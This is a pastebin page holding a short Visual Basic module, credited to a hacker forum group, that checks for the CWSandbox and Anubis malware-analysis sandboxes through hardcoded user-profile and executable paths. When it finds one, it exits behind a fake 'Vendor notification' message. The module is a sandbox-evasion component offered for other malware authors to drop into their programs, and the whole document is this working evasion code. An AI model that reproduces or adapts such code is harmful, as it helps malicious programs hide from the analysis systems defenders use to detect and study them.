pastebin - collaborative debugging

Attribute VB_Name = &quot;Module1&quot;
'##############################################
'#   Anti CW Sandbox &amp; Anubis Module    #
'#  -------------------------------------  #
'# Module by haZl0oh for Os-Gentlemen.6x.to #
'# Shoutz to EvAriZzl , h0yt3r,Mastermaefju #
'# Ic3drag0n and OS-Gentlemen.6x.to Staff  #
'# If u sue it gimme some shoutZ....     #
'##############################################


Public Sub cw_anub()
' Anti CW Sandbox
'-------------------------

If Environ(&quot;userprofile&quot;) = &quot;H:/Documents and Settings/User&quot; Then
    MsgBox &quot;No emulation or Virtualisation of this application possible&quot; &amp; vbCrLf &amp; &quot;Please contact your Vendor for more information.&quot;, , &quot;Vendor notification.&quot;
 End
   Else


'ANTI Anubis
'--------------------
If App.Path &amp; App.EXEName &amp; &quot;.exe&quot; = &quot;C:\sample.exe&quot; Then
    MsgBox &quot;No emulation or Virtualisation of this application possible&quot; &amp; vbCrLf &amp; &quot;Please contact your Vendor for more information.&quot;, , &quot;Vendor notification.&quot;
  End
Else
    'MsgBox &quot;Success....&quot;

    End If
    End If

end sub